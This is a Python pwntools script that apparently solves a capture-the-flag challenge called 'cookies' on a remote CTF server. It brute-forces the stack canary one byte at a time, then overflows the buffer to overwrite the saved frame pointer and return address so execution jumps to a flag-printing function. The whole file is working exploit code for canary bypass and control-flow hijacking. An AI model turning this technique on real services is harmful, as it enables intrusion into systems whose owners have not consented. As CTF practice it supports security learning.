from pwn import *

#p = process("./cookies")
p = remote("0.cloud.chals.io", 17381)

p.recvline() # How many cookies?
p.sendline("65535")

#p.recvline() # Which cookie?
print(p.read(2048))

# Brute forcing the cookie
total_cookie_val = []
cookie_bytes = 1
for _ in range(8):
    for byte_guess in range(256 + 1):

        # Crafting the cookie
        cookie_with_guess = total_cookie_val + [byte_guess]
        guess_cookie = struct.pack("<" + cookie_bytes*"B", *cookie_with_guess)

        print("trying cookie %s" % guess_cookie)
        p.send(b"A"*8 + guess_cookie)
        time.sleep(1)
        smash_data = p.read(2048)
        if b"*** stack smashing detected ***" in smash_data:
            # Wrong cookie
            if byte_guess == 256: 
                print("Error! no byte was found!")
                exit(1)
        else:
            #print("correct byte %s" % byte_guess)
            # Correct cookie
            total_cookie_val.append(byte_guess)
            cookie_bytes += 1
            break

print("cookie is %s !!" % total_cookie_val)
#import pdb; pdb.set_trace()
raw_input("Attach gdb")
cookie = struct.pack("<BBBBBBBB", *total_cookie_val)
RBP = b"\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff"

ret_addr = struct.pack("<Q", 0x000000000040146A) # Points to ret
ret_buff = struct.pack("<Q", 0x00000000004012BB) # Points to print flag

p.send(b"A"*8 + cookie + RBP + ret_buff)
print(p.read(2048))
p.interactive()